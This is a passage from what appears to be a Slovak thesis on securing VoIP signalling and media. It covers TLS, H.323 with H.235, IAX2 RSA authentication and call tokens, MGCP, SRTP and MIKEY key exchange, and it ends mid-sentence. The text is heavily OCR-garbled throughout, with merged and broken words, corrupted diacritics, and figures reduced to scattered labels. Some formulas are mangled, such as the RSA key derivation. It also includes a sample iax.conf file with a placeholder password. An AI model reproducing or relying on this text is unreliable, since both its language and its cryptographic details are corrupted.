pomocou ClientKeyExchange spravy servru. Na klieggjtskane sa pomocou KDk€y Derivation
Function zpre-master kI'Gca derivuje Master Ki¢. Na strane servra sa po prijati
ClientkeyExchange spravy pomocou servrovho sukromnética desifruje pévodne zasifrovany
pre-masterkl'i¢ a ope je pouzitd KDF funkcia na ziskanie Mastétida. S Master Kicom klient
generuje MAC celej predchadzajlcej spravy prijategervra a posiela pomocou Finished spravy
na server. Server pomocou Mastéada generuje MAC pre celu predchadzajicu spravu prodt
klienta. Nasledne tak ako klient posiela aj sefvimished spravu s pripojenym MAC. Po prijati
tychto sprav obidve strany skontroluju integritatifo MAC so vSetkymi prijatymi spravami. Ak je
to v poriadku a integrita je neporuSena klientraesezdié¢’aju rovnaky MasterIKic.

Dalej data spractiva Record protokol, po rozdelerprigmji MAC a data sa zaSifruju. Potom je
k Sifrovanému textu pripojena hl&ka obsahujuca polozky typ obsahwrftent typg informacia

o dizke (ength a verzii SSL protokoluSSL version Pri pouZiti SSL/TLS protokolu sa pouZivaji
Styri rdzne typy obsahu. Prvym je handshake, k&g si predstavili, akd’alSie sa pouzivaju
application alert achange cipher specification

Ateraz si priblizime vrstvu Record protokolu, ktorédze mé niekd’ko funkcii. Sifruje
odchadzajuce udaje a deSifruje prichadzajuce spatne) vrstvy. Rozdeje prichadzajace
aplikané data na idku do vhodnych blokov pre Sifrovaci algoritmuséaower znovu sklada
prichadzajuce data z transportnej vrstvy a predévaaplikaciam. Voliténe méze komprimova
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odchadzajuce data a naopak dekomprimignachadzajuce. TLS Pouziva HMABéshed Message
Authentication Code a overuje nim prichadzajlce data.

Aplikacné data

Rozdelenie | |

Kompresia
(volitefna)

Pridanie HMAC

Zasifrovanie

Pridanie Record
hlavicky

Obr.3.7:  Funkcie TLS Record protokolu [6]

Vo vrstve Record protokolu rozliSujeme rézne staftpgania, tie nam pribliZuju samotny proces
TLS.

 Bez Sifrovania. pred samotnou vymenou Sifrovacictajald a rozhodovanim
0 bezpeénosti je v nepouzivanom stave. Neprebieha Ziadrevanie ani haSovanie

» Pouzitie Sifry s verejnymlIkKicom (pouziva par sukromny-verejnyk). Akonahle
su Sifrovacie Udaje a certifikaty vymenem®&cordprotokol hashuje odchadzajuce
data s vhodnym MAC (¥&inou su pouzité obidve MD5 a SHA-1, pozadovare pr
RSA) aSifruje odosielafevym sukromnym Ricom. Prichadzajuce data su
deSifrované odosieldtevym verejnym Racom.

» Pouzitie symetrickej Sifry (pouziva sa zdielarsession kI'a¢). Po koreni
inicializatnej c¢asti, sa vymenia Udaje umajuce vypéet Master Kica. Nasledne
si z Master Raca klient aj server derivuju hashovaeissiorkl’'a¢(write MAC secrét
a Sifrovacisessiorkl'u¢(write secrex.

Ked su tieto Kuce k dispozicii klient a server poslu spré@hangeCipher SpecificatiorDd
tohto bodu klient a server prestanu pouZisakromny-verejny Ki¢ a z&nu so zdi€anym session
kracom derivovanym z Master’lca.

3.2 Protokol H.323

H.323 protokol je jednym z hlavnych Standardov keunikéciu VolP. Pre zaistenie $pblivého
prenosu signalizaé informacie medzi komunikujucimi koncovymi bodsa zv@Sa vyuZzivaju
sluzby protokolu TCP konkrétne pre H.225 a H.ZH Control). Napriek tomu Ze je zdae
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obl'ibeny telekomunikanymi operatormi ho postupne vy novsi a implementae jednoduchsi

SIP.

Protokol H.323 definuje v sieti nieRko ve’mi délezitych centier, na ktorych fuéikosti zavisi cely
systém. Tato vlastnésspominaného protokolu vnasSa so systému potenciddiezpe&enstvo
zlyhania celého systému kvoli zlyhaniu jedného prviPresné definicie pojmov mozu thy
k nahliadnutiu v dopogteni ITU H.323 [7]. Niekaorko zakladnych pojmov z topoldgie siete pri
vyuziti protokolu H.323.

Entita — Pomenovava kazdd komponentu H.323 nutrgl gaistenie spojenia, spolu
s terminalom, branou (gateway), rémin spojenia (Gatekeeper), réaoin konferencii
(Multipoint Controller).

Endpoint (Koncovy bod, Terminal) — Ide o koncovértmaly, brany, radie konferencii.
V protokole H.323 m6Ze kazdy koncovy bod nadvaZpuasi’ spojenie. Kazdé samostatné
spojenie je uko¥ené a zavisle na koncovom bode.

Gateway (Brana) — lde o rozhranie medzi r6znymi ingtami a siéou H.323. Je to
koncové zariadenie H.323 a zabeape dvojsmernu komunikaciu medzi koncovymi bodmi
v sieti H.323 a inymi si&ami.

Gatekeeper (Raglispojenia) — Je to prvok, ktory zéige preklad adries a riadenie pristupu
pre vSetky H.323 koncové body. Pomocou signalizaweitoruje vSetky sluzby, ktoré sie
ponuka koncovym dastnikom spolu s riadenim, daidom tarifnych informacii.

Multipoint Control Unit (Radi konferencie) — MCU je zodpovedny za riadenie kariere
viacerych uzivatéov v realnontase.

Aplika¢na vrstva
H.245 H.225/ Kodeky
Call Q931 | 122 | Rrrcp
. : RAS
Control Signaling RTP
TCP UDP
IP
Obr.3.8:  Rozlozenie protokolu H.323 a jeho subgkolov [3]

H.323 definuje niekiko pojmov na signalizaciu a vyjednavanie paramesgpojenia. Z Obr.3.8 si
striene priblizime kazdy sub-protokol.

¢

H.225/Q.931 — Ma na starosti samotnu signalizagitvorenia a ukoenia hovoru.
Nesie informécie o IP adresach a portoch, ako 245iportoch.

H.225/RAS — Su to spravy opisujuce stav signalizd¢mnkrétne registimé, pristupove
a stavové informacie Sirky pasma. Tento druhy siggtay kandl je otvoreny medzi
koncovym bodom a gatekeeprom eSte pred vytvoresiatro/ch spojeni. Na rozdiel od
H.225/Q.931 pouziva UDP spojenie. Protokol obsahjgodaténé spravy ako Ziados
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ozmenu Sirky pasma alebo zresetovat@sov&ov. Po potvrdeni pristupovych
poZiadavok gatekeeprom signalizacia spojenia méZa’.z

. H.245 Call Control — Specifikuje spravy dohadujiceznusti terminalu a prikazy na
otvaranie alebo zatvaranie logickych kanélov. Fimga Struktire master-slave. Tento
kanal ostava otvoreny po celdZku spojenia, ptom zvykol by oddeleny od H.225
signaliz&ného kanalu. Novsie aplikacie uniioi tunelovanie H.245 PDB@acket Data
Unit) v samotnom H.225 kanali.

. RTCP — Tento protokol m& na starosti monitorovanig-terend dortiovania dat a QoS
pomocou Udajov ako jitter a priemernej straty pakePoskytuje controlu RTP spojenia.
Hlavnou ulohou je poskztovapatnu vazbu o kvalite spojenia a prenesenych dat.

. RTP — Tento aplikény protokol ma na starosti samotné d@mie realtimovych audio
avideo dat. Média su najprv zakédované prisluSmghodnutym kodekom a potom
prenesené RTP streamom.

. Kodeky — H.323 pouziva sadu G.700 kodekov. Z nieh\fpIP pouZitie si G.711, ktory
je najstar§im ale nepouziva kompresiu a preto @itkvprendSaneho hlasu vyborna,
zabera ale J#&u Sirku pasma. G.729 je primarne pouzivany prePVotdvodu malého
zaberu Sirky pasma. G.723.1 bol vytvoreny pre okdeferencie po Standardnych
telefonnych linkach. Jeho kvalita je premierna.

3.2.1 Zabezpeenie protokolom H.235

Ulohou tohto bezpmostného protokolu je spolupraca s ostatnymi prdtokH.xxx série. Myslia
sa predovSetkym kontrolny protokol H.245, H.225/RASsignalizany H.225. Hlavnym
predpokladom zaistenia bezpesti je zabrami moznosti odp&ivania popripade iného odklonenia
spojenia nezamySlanou osobou. Pomocou protokolBHH.@26Zeme definovaurcité Urovne
zabezpéenia. Taktiez definuje bezfi@ostné mechanizmy, ktorych Bien je poskytntl autenticitu

a integritu prenasaného obsahu. Teraz si priblidkteSpecifikdcia H.235 spolupracuje s kazdym
protokolom.

» H.245 - Controlny Signalizay kanal by mal by zabezpéeny TLS. UZivatelia by
sa mali autorizouwa potas prvého spojenia hovoru pri zabesgd H.245 kanalu
alebo vymenou certifikatou. Sifrovanie médii buddadnuté v sikromnom kanali
uréenom informaciou zo spojenia OpenLogicalChannel.

 H.225/Q.931 — Tento signaligay kanal méze ki zabezp&eny op€ TLS alebo
Ipsec pred akoukwek vymenou H.225 spravy.

 H.225/RAS - Bezpmostné postupy a podmienky sa medzi koncovym bodom
a gatekeeprom vymenia ¢&s registrénej fazy. Definuju sa bezpeostné metddy
pouZzivané pri vytvarani nového spojenia.

* RTP/RTCP — Za tajngsbezpéného RTP kandalu je zodpovedny H.245 protokol.
VyuZiva sa schopnésrymeny otvorenych zabezgenych logickych kanalov. Téato
bezpéna vymena sa pouziva na kazdy RTP kanal £vlas

Autorizaciu zabezpeiju hashovacie funkcie MD5, SHA-1, popripade diggapodpisy tajnych
predom dohodnutych hesiel. Integrita je dosiahrkdgatrolnym s@étom pri vyuZiti rovnakych
algoritmov ako pri autorizacii. DES, 3DES a AESmirddposluchu multimedialnych dat a tym je
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zabezpeena doéveryhodnost. H.235 vo svojeje definicii Sidage bezpénostné profily. Su
moduly s presne definovanymi bezpestnymi pravidlami, poziadavkami a postupmi. Ryo§u
volite’'né a koncovy bod méze vysledne pdukombinéciu niektko profilov naraz. Pomocou
sprav RRQ/GRQ koncovy bod navhne gatekeepru moZndsti avoli najvhodnejSi v odpovedi
RCF/GCF. Kombinacie su definované v Specifikacii H.285iklady niektorych konkrétnych
profilov [8] a ich bezpénostnych sluzieb su zobrazené na Obr.3.9., Ox,30br.3.11.

Call functions

Security
services

Authentication
And Integrity

Non-repudiation

Confidentiality

Access control

Key management

Obr.3.9: Baseline Security Profile H.235.1

Security Call functions
services RAS H2250 25 ——

Authentication

Non-repudiation

Integrity

SHA1/ MD5 SHA1/ MD5 SHA1/ MD5
Digital signature Digital signature Digital signature

Confidentiality

Access control

Key management

Obr.3.10: Signature Security Profile H.253.2
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Security Call functions
services RAS H.225.0 H.245 RTP
Authentication
And Integrity
Non-repudiation
56-bit 56-bit  168-bit e
DES  RC2-  triple oo
compatible DES
Confidentiality CBC-mode or EOFB-mode
Access control
Authenticated Integrated H.235
Key management Diffie-Hellman session key
Key-exchange management

Obr.3.11: Voice Encryption Option H.253.6

3.3 Proprietarny protokol IAX

Inter Asterisk Exchange bol pbévodnec¢emy na komunikaciu medzi softwarovymi Ustfachi
Asterisk PBX. Pre svoju domyselnu fumog’ a komplexnot sa stal ollibenym protokolom pre
softwarovymi switche a ostatné IP PBX(blic Branch Exchangdistredne. V dnesnej dobe je ale
pouZivanejSia novSia verzia protokolu, 1AX2. Iddioarny protokol, nie textovy ako SIP. Pre
prenos signalizacie a dat sa pouZziva len jedenvglatik, ¢o vytvara niektko vyhod, akolahsi
prechod cez Firewall a efektnejSie vyuZitie prekladiries. Funkcia na zniZenie latencie hovoru
umoziuje prenos niekitkych na sebe nezavislych hovorov dohromady v paksienocou
multipexingu.

IAX vyuziva pre prenos dva rézne typy ramcov zé&vish sptiahlivosti a dordeni. Existuju
dve Struktary rdmcov, Full Frames garantuju denie, identifikaciu tastnika, Mini Frames su
urcené pre prenos multimedialnych dat¢pm ich dordenie nie je garantované.

Bezpanos’ — Pre svoju binarnu Struktaru je omnoho beénpgsi ako SIP protokol, ktoastoceli
jednoduchym zmenam a vkladaniam textu do tela pobtio Samotna autorizdcia je rieSena s
pomocou MD5 hasSu rovnakou metddazhalenge-responseako v SIPe, alebo pomocou
sukromnych-verejnych Ikicov RSA. Ktora autorizicia bude pouZzita, rozhodugefisk server,
respektive moznosti autorizacie sa konfiguruju kaZdého uZivata zvla¥ v konfigur&nom
suboreax.conf

3.3.1 Autorizacia metodou RSA Wuaéou

Pri autorizacii Asterisk PBX mdzZzme potiznetédu RSARIvest, Shamir a Adlemaride o metodu
s verejnymi a sukromnymil'kémi. Tie si musi uZivatevygenerova pomocou skriptuastgenkey
ktory  bol implementovany  do inStalacie  Asterisku n&gdeme  ho v
lusr/share/asterisk/contrib/scripts/. Pre verzistefisk 1.4.21.2 musi Bydvojica sukromny
a verejny Ku¢ nasledne umiestnena do adresara /usr/share/kéteyss a pri znovu ri@tani
modulov resp. modulu res_crypto.so sa priradia medame verejné a privatngd’Ke Asterisk
servru. Sukromné{ey) krace su chranené kédom a zasSifrované 3DES mechanizaimymboli
bezpé€ne chranené aj na lokalnom zariadeni. Preto iclerisgt neinicializuje ihné ale po zadani
prikazu keys initm6zme zadakod a inicializovd ich. Verejny(pub) Kkra¢ je nutné bezpme
prenies na druhé zariadenie s ktorym chceme komunikRokakonfigura&gnom suboreiax.conf
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musime definovainkeysaoutkeys Tie ukuju ktoré verejnénkeysa ktoré sukromnéutkeyskl'ice
sa pouziju. Mozme ich definovaaj viacero a oddelidvojbodkou. Priklad konfiguraciex.conf
registrovania trunku(umakje prenies viacero hovorov po jednej linke) a dvoch Astersekvrov
s RSA autorizaciou mozme vidiaizsie.

[general]
autokill=yes

register => iaxserver_100:[rsa_sukromny_kluc]@192.1 68.1.36

[laxserver_200]

context=servers_trunk

type=friend

secret=heslo

username=user_100

host=dynamic

auth=rsa

permit=192.168.1.36/255.255.255.255
inkeys=rsa_sukromny_kluc:rsa_sukromny_kluc2
outkeys=rsa_verejny_klucl

Obr.3.12: Konfiguracia iax.conf autorizacie RSA

Parametenutokill=yes zabrani pretazovaniu ak je host nedostupny, kab#é spojenie musi by
potvrdené do 2000 ms inak bude zhodené. Paranygterfriend je takzv. alias typu user a peer
zarovei. To znamena Ze definujeme v jednom bloku akorpajéa peertak aj odosielat@a user.

Samotny RSA mechanismus umaje naozaj bezgay podpis procesu autorizicie. Standardne sa
pouZivaji Kice s dZkou miniméalne 1024 bitov ato z dévodu prelomebi2 bitového Kica
vroku 1999. Mechanizmus prelomenia &pa Vv rieSeni uUloh rozkladu f¥ieych cisel na
prvocisla(faktorizaciu). Aj dnes je rieSenie faktorizAcstale veémi obtiazne a pri porovnani
prelomeného 512 bitovéhol'da, 1024 bitovy je asi 7-milionkrat vypmvo nar@nejsi [9].
Priblizenie zakladného principu metddy RSA [10]:

. zvolia sa dve ndhodné piislap aq mézu ma az 200 dekadickych miest z nich
spaitamecislon

n=p.q (3.1)
. zvolime Sifrovaci verejnylki¢ e < n, préom e je nedeliiané s r (e j&asto 3, 17,65537)

r=(p-D(q-1) (3.2)

. spaitame sukromny Ki¢ d pomocou funkcie modulo
d =emodr (3.3)

(deymodr =1 (3.4)

. Zverejnt mdzme verejny K¢ e a parameter n ostatné hodnoty musia’agegené
. Spravu M musime rozdélna bloky mi, mi < n a Sifrujeme pomocou rovnice
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C. =m°modn (3.5)

¢ Naopak Sifru ci deSifrujeme lokalnym sukromnyiiidom a postupne ziskame bloky
pévodnej spravy

m =c’ modn 3.6)

3.3.2 Call Token Validation

IAX vyZaduje ochranu pred Buffer Over Flow DoS uUtokatl nAm poskytuje v IAX2 protokole
tzv. ,Call Token Validatiohv kombinacii s¢islom hovoruCall numbe). Tymto vylepSenim méze
Asterisk obmedzi potet spojeni s jednej IP adresy a tym umoastatnym uzivatem vytvara
avies’ hovory. IAX2 pouziva parametatislo hovoruCall numbej pre zaradenie spravy do
prislusného hovoru. Maximalne mozné mnozstvo havggalefinované samotnym protokolom a je
konené. Preto je potrebné zabr&kodlivym uzZivatéom vyéerpa ono maximalne mnoZstvo
hovorov. PridanimCall token validation Asterisk méze limitovd mnozstvoCall number¢isel

z jednej IP adresy a tym zneniofe viyCerpa vsSetkycisla hovorov. Tato hodnota je vSeobecne
nastavena ale mézme ju pozmeaiprispdsohi nasim potrebam [11].

Ak Klient posiela inicializant spravu a podporuje vymer@all tokenuv pakete by mal by
pritomny parameter CALLTOKEN IE{formation Elements nulovou hodnotou. Server odpovie
spravou CALLTOKEN, pritom nezae p@itat’ Call numbera posiela nulu akd&islo hovoru.
Klient je potom pripraveny odoslaerveru eSte jednu CALLTOKEN spravu s obsahom té&ryk
prave priSiel od servra. Tymto si server overilZadresa a port odKialostal hodnotu tokenu boli
pravé.

Klient Server
Nova sprava
prazdny |E CALLTOKEN

>

Call token

klient ignoruje call number
IE CALLTOKEN

Nova sprava
prijaty IE CALLTOKEN

Autoriza€. poziadavka

Klasicke pokracovanie

Obr.3.13: Vymena spravy s parametrom Call token

Pre pripad w&ieho zabezpgenia sa dopokiuje zabezp&enie na sitovej vrstve pomocou
open VPN alebo IPSec.
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3.4 Protokol MGCP

Pouziva sa na riadenie signalizacie medzi jedryotlivoranami. Protokol bol prvykrat spomenuty
a vynalezeny v roku 1998 spéfwsou IETF aby rieSil problémy spojené v rozdelovaaortgv
poskytovatémi telekomunikanych sluzieb a internetu. ITU-T pracovala na proteKVIDCP.

V roku 2000 boli oba obnovené a vymenené za jedetokol, Megaco pokh IETF a H.248 pd
ITU. Tento Standard bol pulikovany hlavne pre potreoddelf samotna kontrolu nad hovormi
a spracovanie médii na branach. H.248 smeruje Ekinoblémom s integraciou SS7 a VolP.
Riadenie bran malo prejsa takzv. MGQOfledia Gateway Controll@r H.248 dokézZe riaditisice
portov na niekikych réznych branach, &isne prinasa niekko vyhod oproti pévodnému MGCP.
VylepSené sluzby pri multimédiach a multipoint kergnciach, TCP a UDP prenosové moznosti,
podpora textového aj binarneho kdédovania a vylepsefinicie batikov.

Kazda VolP brana obsahuje M@¢dia Gateway a MGCMedia Gateway Controllgr MGC
riadia signalizaciu medzi MG a ostatnymi zariadenia sieti ako H.323 Gatekeeper alebo SIP
Proxy server. MG uskuttiuje konverziu prendSaného audio signalu pri preetotP sieti na
klasické PSTN siete riadené SSigfnaling System) Bignalizaciou.

Media

SIP/H.323
Gateway
LAN Contoler
VolIP Softclient
RTP
Media Media
Gateway Gateway

PSTN

Obr.3.14: Topoldgia MGCP a zaravel.248 [12]

Bezpa&nos’ v MGCP — V samotnom protokole nie su definované Ziadng&emstné protokoly.
Popis protokolu RF@&equest for Comen2705 doporduje pouzitie zabezgenia na nizsej vrstve
pomocou IPsec. MGC vSak uniefu preposlanie ic¢ov spojeniagession keysk MG, tie
nasledne zasSifruju audio spravy a tym zabeéizperoti odposluchuSession keysa mézu prenaga
pomocou SDRfession Description ProtoRoprotokolu. Tieto Rice sa neskoér pouzivaja pri
Sifrovani RTP dat [12].
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RFC pre H.248 poukazuje na pouZitie IPsec Althentication Headgr ktoré ma poskytni
algoritmy na kontrolu integrity(nemennosti sprapguZzitim manualnychl¥icov RFC 2402. Téato
Specifikacia ale nechrani spojenie pred adpanim alebo opakovanymi utokmi. Popis MEGACO
protokolu opé uvadza pouzitie IPsec s pouzitim EBR¢apsulating Security Paylopdgchémy,
ktoré by malo zabezpe® algoritmy pre kontrolu integrity a Sifrovanie. Fitie IKE by malo
zabezpéit' robustnejSie pouzitiel'kicov, podporu RSA podpisov a Sifrovanie verejnyfadom.

4 Prenos multimedialneho toku

Akonahle sa ndm podari zostawpojenie pomocou signaligaych protokolov, Ulohu preberaja
prenosové protokoly a to RTP a k nemu patriaci ieat&®&TCP. Tieto protokoly funguju na piatej
vrstve modelu TCP/IP. Délezitou vlasttioa VolP je prenos v realnorase, ktord nam tieto
protokoly zabezpaiju

4.1 Protokol RTP

Tento protokol wuje Standardny paketovy format pre prenos respucdeanie audio a video dat
po paketovej sieti. Real-time transport protokol bajprv vyvijany pre volené vysielanie ale
pouzival sa vo M&kom mnoZstve unicastovych aplikacii. Je hojne warty v streamingovych
systémoch, kde je prenos dat rieSeny priamym pigdesudio avideo Udajov. Pri spojeni
s protokolom RTSP sa pouziva pre videokonferenaiesgdjeni s protokolom H.323 a SIP tvori
technicky zaklad VolP telefonnej sluzby a Zajs neprerusovany prenos hlasovych paketov na
internete.

PrendSané RTP pakety pouzivaju informacie nastaSéxe€ protokolom, ako typ prenasanych
dat, pouzity kodek, synchronigzé Udaje a samotné data takzv. ,payload”. V pripRi€PReal
Time Control Protocqlje zakladna funkcia poskytovapatna vazbu pre RTP protokol a samotné
spojenie. Zhromazdené data sa vyuziju na zvySevaditk hovoru, bd’ zmenou kodeku alebo
obmedzenim datoveého toku. Preely zabezpéenia a autentizacie bol Specialne vyvinuty protokol
SRTCP.

Asterisk je navrhnuty tak aby nevystupoval akcsidiay Proxy server a to z dévodu smerovania
RTP prenosu priamo medziastnikmi spojenia. Tym sa kahii celkové zdaZenie servera Nesmie
to byt ale zakadzané z ptddu Klienta, popripade v konfiguracii ustredni. &dfné nastavenie
umoziuje vytvorenie RTP spojenia medzi koncovyniastnikmi, da sa ale zakdzparametrom
canreinvite.Asterisk pracuje spésobom vytvorenia nového ppreskazdu komunikujicu stranu
a tieto informacie vymeni medzi koncovymi stranami.

4.2 Protokoly SRTP a SRTCP

Tieto zabezp#vacie protokoly Secure RTP a Secure RTCP su roi§ingdvodnych prenosovych
protokolov, ktoré nemali Ziadne zabezpeacie mechanizmy. Bezfr@ostné pojmy ako déverngs
autorizacia sprav chrania pred zamenou celej ateltl spravy a a ochrana proti opakovanému
preposlaniu sprav napr. DoS utok. Obidva protoko&ju zhodné zabezpavacie algoritmy. SRTP
ma vé'mi dobra priepustna’s a vémi nerozSiruje samotny paket. Nema presne definpvan
mechanizmus pre vymend’Kou ale MIKEY Multimedia Internet Keyingbol navrhnuty presne
na tento Gel.

Sluzba SRTP zabezpige samotny prenos hlasu cez internet, pretoZe umraw sulade
s kompresiou hlaviek a tym nema vplyv na IP kvalitu sluzieb. Jelt@Zba volitdna k samotnému
prenosu RTP a musia ju podporévako samotny klienti tak aj server resp. providéiektory
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vyrobcovia IP telefénov uz maju v ponuke relativdebre otestované a fungujuce telefény
s podporou SRTP. Takymi vyrobcami su napr. Shomn@staeam, Sipura a niekm d’alSich.
Samozrejme najdélezitejSislankom komunikécie je ale samotna UstiedNa trhu resp. v ponuke
poskytovania bezgeého prenosu je k dispozicii nidkom serverovych ustredni, liSiacich sa
vV moznosti a typoch zabezfania.

Sekvencné dislo

v=2|P|X|CC| M | PT (Sequence number)

Casova znacka (Timestamp)

Synchronizaény identifikator zdroja
(Synchronization source identifier - SSRC)

Identifikatory zdroja
(Contributing source identifiers - CSRC)

RTP rozSirenie (RTP extension) - volitelne

Overena-autorizovana cast
P ___

®
)8 r— _>
~g |
S : Hlavné data
21 (Payload)
o |

_— 1 _>

Identifikator hlavného kltuc¢a - volitelne
(Master Key Identifier — MKI)

Overovacia-autorizacna znacka - volitelne
(Authentication tag)

Obr.4.1: Formét paketu SRTP protokolu [13]

Posledné dva bloky z Obr.4.1. su jediné pridanétoprotokolu RTP. MKIMaster Key Identifier
je definovany a pouZivanylécovym manazmentom. Tento parameter definuje Master k
z ktorého sa nasledne derivuju jednotliviide spojenia gession keys Tie sUZia na samotné
Sifrovanie alebo na overenie prenasaného paketu.

Overovaci parameteX(ithentication tayy je parameter zabezhguci integritu teda nemennds
prendSaného paketu. Patria tu zaSifrované datavi&hkd na ktoré sa aplikuje HMAGEashed
Message Authentication Codalgoritmus. Po upozorneniach na slabSie zalderjpe MD5 haSu sa
pouziva SHA-1%ecure Hash Algorithjn Overovaci Ri¢ by mal by dlhy 128 bitov. Je tym
zabezpeéena aj ochrana proti takzv. replay utokmi pretaZenghranené a overené aj sekireén
Cislo [13].
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RTP data 128 bit

Klacovy e Sifrované data SRTP
generator 128b kiuovy blok 128 bit

XOR

\ 4

Obr.4.2:  Princip Sifrovania SRTP streamu
Defaultne sa v SRTP pouziva AES protokol stzv. @@umodomAES-CN), kvoli nizSej
vypocetnej naronosti. Systéem UMTS pouziva AES f8 - mod. Vystupoynnbal by vzdy 128-
bitovy blok AES Sifry, pouzivajuc sessioiilk k = k.. AES-CM Obr.4.2. na vyget K’'i¢a pouziva
naslednu funkciu a Sifrované bloky by mali vyzetakto, prevzaté z literatary [13].

E(k, IV)||E(k, IV +1mod2'?®)||E(k, IV +2mod2'®)...  (4.1)

HodnotalV inicializatny vektor je definovana pomocd@SRCsynchronizéanym identifikadtorom
zdroja, indexom paketu a takzv.saltingkl’'dcomKks.

IV = (kg [2'°) XOR(SSRQ2*) XOR(i [2"°) (4.2)

Kazda hodnota po XOR vypte je doplnena nulami aby vyhovovala definovaneB-bRovej
dizke. Paket index je definovany pomocou hodnoty RO@l{over countej . Ta je vzdy na
za&iatku spojenia nastavena na nulu a vzdy pri gitpoi hodnoty SEQ — sekv&amehodisla sa
incrementuje o0 1 tzn.'2 —> 2%

v IV+1mod 2 IV+2mod 24128

Ke i Ke i Ke i

AES AES AES

128 bitove
kfa€ove bloky

Obr.4.3: AES Counter mode
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i =2 (ROC+ SEQ (4.3)

Pouzivané Kice k. akosession kew k akosalting keysu vyp@itané z takzvmaster keyna ten sa
pouzije Specialnalkicova derivacia Key Derivation Function Obr.4.4. Vyhodou je prenos len
jediného hlavného - mastefka. A pri stanoveni miery prenosu tohtbliéa, nie je potrebna
Ziadna extra komunikacia medzi stanicami. Takzvdii¢ovy deriva&ny algoritmus je navrhnuty
tak, abyco najviac komplikoval Gtenikom vypa@et K'U¢ov session keygpre dané spojenie.
Umoziuje to hlavne spominarsalting keya p@et iteracii, v modernych derivaych funkciach aj
viac ako 1000.

Paket index
N Sifrovaci kI'G¢ spojenia
master kluc¢
—>
Kracovy Derivacna overovaci klt& spojenia
manazment funkcia ————»
master salt
salt klu¢€ spojenia

Obr.4.4:  K(cova derivacia v SRTP [13]

Pouziva sa funkcia odvodzovaniéiikov z jedného hlavnéholé&a. Hlavny Ku¢ musia poznéa
vSetky komunikujace strany, ten sa pri generovdnii atko AES Ki¢, mbéze mé velkos’ 128, 192
a 256b. Tymto sa dostavame len k problému distiijédiného hlavného Kica, z ktorého si
pomocou odvodzovacej funkcie ¢ia svoje tajné Kice. Naskytuje sa mozndgpouzitia SDP
protokolu avSak nema ziadne zabezrmee.

Pravdepodobne najdélezitejSou problémovag’ou SRTP protokolu je prenos a vymena tajného
kli¢a medzi komunikujicimi stranami. Sifrovacim kontext SRTP sa oziaje IP adresa, port

a SSRC zdruzZené s tajnyrilkom. Naneastie Ku¢ovy manazment SRTP je p&dIETF vémi
nepresny aje zdrojom mnohych problémov. Je d@ka niekdkym navrhovanym rieSeniam
bezp&nej vymeny Kuca. Niektoré existujuce implementécie pouzivajucggkoly MIKEY a SDP
Security description spdsobuju problémy, z dévoeédanieSenych otazok. Kvalitne fungujucich
rieSeni SRTP schopnych spoluprace s vymennymi pobtolna trhu véa nieje a stale sa vyvyjaju.

4.3 Vymena k 't€ou metédou MIKEY

MIKEY (Multimedia Internet keyingje protokol na spravu l'kicov pre aplikicie pracujlce
v redlnomc¢ase. Bol navrhnuty Specialne na vymenu Sifrovacitiidv pre multimedialne relacie
pouZivajuce zabezpenie pomocou SRTP [14]. Jeho mozZnosti pouZitia sazajaSiroké. Medzi
jeho vyhody patri implementacia ako samostatndidsma atym nezavislésna ostatnych
komunikanych protokoloch (SIP,H.323). PouZiva model ponakydpovede ako protokol SDP,
navyse spravy overuje mechanizmom MWeEsage Integrity codlealebo digitalnym podpisom.
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Umo#iuje prenos TGKIEK Generation Keéy a popisuje postup derivacie TEK@ansport
Encryption Key, ¢o je vlastne SRTP mastelilk pre kazdé Sifrované spojenie.

MIKEY

Dohoda kltc¢ov

Crypto- TGK \ 4
session ID
— 3| Derivacia TEK Sifrovacie
parametre
TEK

SRTP protokol

Obr.4.5: MIKEY protokol [15]

MIKEY umoZziuje prenos resp. vymenud’d¢ov a tajnych parametrov tromi odliSnymi spésobmi
[16]. Metdda zdiBaného Kuca(Pre-shared keya metdda verejnychriacov(Public-key encryption

sU obe zaloZené na prepravhom mechanizme samotiiyictv, kde TGK je bezpme preneseny
druhej strane. Tretia metdda Cbiffie-Hellman key exchangeiskava TGK pre zmenu derivaciou
prenesenych hodnét medzi jednotlivymi stranami.

4.3.1 Metdda zdid’aného K’U¢a

Pre-shared key So znameho uz vymenenéhmda napr. dohodou komunikujucicikastnikov si
metdda derivuje Sifrovacie(cr_key a overovaci@uth_key bezpé&nostné parametre MIKEY
spravy. Sprava odosieldite |_sprava prendSa HDR — hlgui, T — ¢asovy zn&u, RAND —
nadhodnd hodnotu, identifikatory stran IDi a IDr, SBezpénostné parametre ale hlavne jeden
alebo viac TGK, ktoré sa nachadzaju v KEMAC. V sprgrijimatda R_sprave je parameter
V hodnota MACMessage Authentication codgpaitana z celej R_spravy a hodnota T je pouZita
z predchodzej |_spravy.

Odosielatel Prijimatel

|_sprava = HDR, T, RAND, [IDi], [IDr],
{SP}, KEMAC

A

R_sprava = HDR, T, [IDr], V

'y

Obr.4.6:  Pouzitie Pre-shared key
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KEMAC = E(encr_key{TGK}) ||[MAC (4.4)

KEMAC obsahuje TGK data zvolené odosiefata ako aj vypodet MAC kddu pokryvajuceho celu
MIKEY spravu s pouzitim overovaciehd®a auth_key

4.3.2 Metdda verejnych KP’uéov

Public-key encryptior Pouzitie vo v&ich systémoch. Na rozdiel od predchadzajucici’adieh
kl'dcov sa tu pouzivaju obalky a TGK hodnoty su Sifreévgmomocou Kicou derivovanych
z nahodnych resp. pseudo-nadhodnych obalkowyitktok(envelope key Tento envelope keysa
posiela druhej strane a je Sifrovany verejnyiickm prijimatéa.

Odosielatel Prijimatel

|_sprava = HDR, T, RAND, [IDi | CERTi ], [IDr],
{SP}, KEMAC, [CHASH], PKE, SIGNi

\4

-< R_sprava = HDR, T, [IDr], V

Obr.4.7:  Poutzitie Public-key encryption

PKE = E(PKr,env_key) (4.5)

Parameter PKE obsahuje Sifrovaenvelope keya PKr je verejny Ki¢ prijimatd’a. CHASH

Specifikuje pouzity verejnyIKi¢ v pripade Ze prijemca ich vlastni niéko. Parameter KEMAC
pozostava zo zasifrovanej identity odosiefa a nahodne zvoleného TGK. Sifrovata®’ dat je

op& overend MAC. Sifrovaci IKié(encr_key a overovacHuth_key st odvodené envelope
key(env_key) DolezitdA hodnota SIGNi je podpis zaigici celd MIKEY spravu pouZzitim
odosielatéovho podpisovéholki¢a. Jedno ID je zaSifrované spolu s TGK aby sa zaiwedtoku

man-in-the-middle.

KEMAC = E(encr_key; IDi||{TGK}) || MAC (4.6)

4.3.3 Vymena kP’4¢ov DH metodou

Diffie-Hellman key exchange Spotrebuva najviac vypetného vykonu zo vSetkych troch metéd
zarover ale zabezpmije Perfect Forward SecrecySpaiva vo vytvoreni DH-RG¢a, ktory je
